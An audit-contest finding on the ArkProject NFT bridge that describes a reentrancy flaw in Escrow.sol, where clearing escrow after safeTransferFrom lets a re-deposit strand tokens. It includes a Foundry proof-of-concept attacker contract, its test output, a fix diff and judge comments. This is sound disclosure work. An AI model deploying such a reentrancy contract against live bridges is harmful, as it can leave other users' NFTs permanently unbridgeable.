ArkProject: NFT Bridge
ArkProject
NFTBridge
60,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

A Malicious user can bridge an NFT on `L2` and destroy it on `L1`

alqaqa

Vulnerability Details

When withdrawing tokens, these tokens are either escrowed by the bridge or not. If the bridge holds the token, we transfer it from the bridge to the ownerL1, else this means that the NFT collection is a custom NFT collection deployed by the bridge and we call ERC721Collection::mintFromBridge to mint it.

Bridge.sol#L201-L209

bool wasEscrowed = _withdrawFromEscrow(ctype, collectionL1, req.ownerL1, id);
​
if (!wasEscrowed) {
...
❌️ IERC721Bridgeable(collectionL1).mintFromBridge(req.ownerL1, id);
}

If the NFT is escrowed, we transfer it to the owner and burn it (setting escrow to address_zero).

Escrow.sol#L78-L86

function _withdrawFromEscrow( ... ) ... {
if (!_isEscrowed(collection, id)) {
return false;
}
​
address from = address(this);
​
if (collectionType == CollectionType.ERC721) {
1: IERC721(collection).safeTransferFrom(from, to, id);
} else { ... }
​
2: _escrow[collection][id] = address(0x0);
​
return true;
}

As we can see we are transferring the NFT using safeTransferFrom. Then, burning it and this opens up a Reentrancy!

since safeTransferFrom calls onERC721Received(), the user can do whatever he wants before the NFT gets burned. now what if the user deposited the NFT to receive it on L2 again via calling L2Bridger::depositTokens()?

When depositing we are escrowing the tokenId(s) we are depositing, where the sender sends the token(s) to the bridge then it is escrowed.

Bridge.sol#L129

function depositTokens( ... ) ... {
...
❌️ _depositIntoEscrow(ctype, collectionL1, ids);
}
...
function _depositIntoEscrow( ... ) ... {
assert(ids.length > 0);
​
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
​
if (collectionType == CollectionType.ERC721) {
IERC721(collection).transferFrom(msg.sender, address(this), id);
} else { ... }
​
❌️ _escrow[collection][id] = msg.sender;
}
}

Now since we called this function in onERC721Received() when we return from it, we will return back to the point of withdrawing escrowed tokens, where we will set escrow to address(0). Now this will result in resetting the escrow mapping for that token into address(0) although it is owned by the L1Bridge.

Attack Scenario

We are withdrawing escrowed tokens when either Bridging from L2 to L1 and tokens are escrowed, or we are canceling Message Requests from L1 to L2 that the Starknet sequencer did not process, we will illustrate the two attacks.

Canceling Message:

  1. UserA deposited an NFT token and provided less msg.value to the StarknetMessaging protocol, using a contract implementing onERC721Received() that calls L1Bridge::depositTokens() again.

  2. The sequencer didn't process the message because of low gas paid.

  3. UserA messaged the protocol to cancel his message.

  4. The protocol started canceling requests (there is nothing weird till this point).

  5. UserA called cancelRequest after the period has been passed.

  6. Tokens are transferred to the UserA msg.sender, which is the contract implementing that onERC721Received().

  7. The token gets redeposited into L1Bridge to be Bridged into the user on L2 when calling onERC721Received(), but he provided correct data and enough gas this time.

  8. onERC721Received() finished.

  9. L1Bridge reset that token escrow into address(0).

  10. UserA received that NFT on L2.

  11. UserA sold this NFT to UserB on L2.

  12. Time passes, and UserB tries to Bridge his NFT to L1.

  13. When withdrawing, the L1Bridge found that the NFT was not escrowed so he tried mint it.

  14. The token holder is actually the bridge. so minting will revert because the token already existed.

  15. UserB lost his NFT forever, and any other tokens bridged with that token will get stuck, as the message will always revert when trying to execute it on L1Bridge and withdraw tokens.

Bridging from L2 to L1:
It is the same scenario except for doing the attack when canceling the message, the User will need to Bridge his token to L2 then bridge it back to L1 and do the attack when withdrawing it from L1 bridge (the token is escrowed by the bridge when he bridged it first time from L1 to L2).

This attack costs more for the attacker, but the user don't have to message Protocol admins to Start canceling his message.

Proof of Concept

We wrote a script that simulates the first attack (Canceling Message).

Add this in the last of the apps/blockchain/ethereum/test/Bridge.t.sol file.

contract AttackerContract {
​
address public bridge;
snaddress public ownerL2;
address public collection;
​
constructor(address _bridge, address _collection) payable {
bridge = _bridge;
ownerL2 = Cairo.snaddressWrap(0x1);
collection = _collection;
}
​
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns(bytes4) {
uint256[] memory ids = new uint256[](1);
ids[0] = tokenId;
IStarklane(bridge).depositTokens{value: 30000}(
0x123,
collection,
ownerL2,
ids,
false
);
​
return this.onERC721Received.selector;
}
​
}
​
interface IStarklaneEscrowed is IStarklane {
function _escrow(address collection, uint256 tokenId) external view returns(address);
}
​
contract AuditorTest is BridgeTest {
​
function test_auditor_deposit_before_burn() public {
uint256 delay = 30;
IStarknetMessagingLocal(snCore).setMessageCancellationDelay(delay);
uint256[] memory ids = new uint256[](2);
ids[0] = 0;
ids[1] = 1;
​
// deploy an attack contract that will deposite on receiving an NFT
AttackerContract attackContract = new AttackerContract{value: 10 * 30000}(bridge, erc721C1);
​
(uint256 nonce, uint256[] memory payload) = setupCancelRequest(address(attackContract), ids);
assert(IERC721(erc721C1).ownerOf(ids[0]) != address(attackContract));
assert(IERC721(erc721C1).ownerOf(ids[1]) != address(attackContract));
​
Request memory req = Protocol.requestDeserialize(payload, 0);
​
vm.expectEmit(true, false, false, false, bridge);
emit CancelRequestStarted(req.hash, 42);
IStarklane(bridge).startRequestCancellation(payload, nonce);
​
skip(delay * 1 seconds);
// - Cancel request will transfer NFTs to the receiver and call `onERC721Received`
// - We will call bridge.depositTokens
// - Tokens will get escrowed by the Bridge
// - onERC721Received will return back
// - Token will get Burned
// - The recever will receive his NFT on L2
IStarklane(bridge).cancelRequest(payload, nonce);
​
assert(IERC721(erc721C1).ownerOf(ids[0]) == bridge);
assert(IERC721(erc721C1).ownerOf(ids[1]) == bridge);
assert(IStarklaneEscrowed(bridge)._escrow(erc721C1, 0) == address(0x00));
assert(IStarklaneEscrowed(bridge)._escrow(erc721C1, 1) == address(0x00));
​
​
console2.log("Token[0] owner:", IERC721(erc721C1).ownerOf(ids[0]));
console2.log("Token[1] owner:", IERC721(erc721C1).ownerOf(ids[1]));
console2.log("Token[0] escrowed:", IStarklaneEscrowed(bridge)._escrow(erc721C1, 0));
console2.log("Token[1] escrowed:", IStarklaneEscrowed(bridge)._escrow(erc721C1, 1));
}
}

Since escrow variable is private, you will need to make it a public visibility in order for the test to work, add the public visibility to it.

Escrow.sol#L17

- mapping(address => mapping(uint256 => address)) _escrow;
+ mapping(address => mapping(uint256 => address)) public _escrow;

On the cmd write the following command.

forge test --mt test_auditor_deposit_before_burn -vv

Output:

[PASS] test_auditor_deposit_before_burn() (gas: 1176814)
Logs:
Token[0] owner: 0xc7183455a4C133Ae270771860664b6B7ec320bB1
Token[1] owner: 0xc7183455a4C133Ae270771860664b6B7ec320bB1
Token[0] escrowed: 0x0000000000000000000000000000000000000000
Token[1] escrowed: 0x0000000000000000000000000000000000000000

The POC checks that the Bridge will end up being the owner of the tokens, and they are not escrowed, which means anyone who tries to withdraw it back when bridging from L2 to L1 will end up trying minting it which will revert.

Impact

An innocent user can lose his NFTs on L2 when Bridging them back to L1.

Tools Used

Manual Review + Foundry

Recommendations

Implement the CEI pattern by burning The token before transferring it.

diff --git a/apps/blockchain/ethereum/src/Escrow.sol b/apps/blockchain/ethereum/src/Escrow.sol
index c58bce9..b5d8ad1 100644
--- a/apps/blockchain/ethereum/src/Escrow.sol
+++ b/apps/blockchain/ethereum/src/Escrow.sol
@@ -74,6 +74,7 @@ contract StarklaneEscrow is Context {
}
address from = address(this);
+ _escrow[collection][id] = address(0x0);
if (collectionType == CollectionType.ERC721) {
IERC721(collection).safeTransferFrom(from, to, id);
@@ -83,7 +84,6 @@ contract StarklaneEscrow is Context {
IERC1155(collection).safeTransferFrom(from, to, id, 1, "");
}
- _escrow[collection][id] = address(0x0);
return true;
}
Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-withdraw-reentrancy-creates-unbridgeable-tokens

Impact: - NFT already bridged won’t be bridgeable anymore without being stuck. Likelyhood: Low. - Attackers will corrupt their own tokens, deploying a risky contract interacting with an upgradable proxy. They have to buy and sell them without real benefits, except being mean. Some really specific and rare scenario can also trigger that bug.

Appeal created

alqaqa Submitter
9 months ago
n0kto Lead Judge
8 months ago
n0kto Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-withdraw-reentrancy-creates-unbridgeable-tokens

Impact: - NFT already bridged won’t be bridgeable anymore without being stuck. Likelyhood: Low. - Attackers will corrupt their own tokens, deploying a risky contract interacting with an upgradable proxy. They have to buy and sell them without real benefits, except being mean. Some really specific and rare scenario can also trigger that bug.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.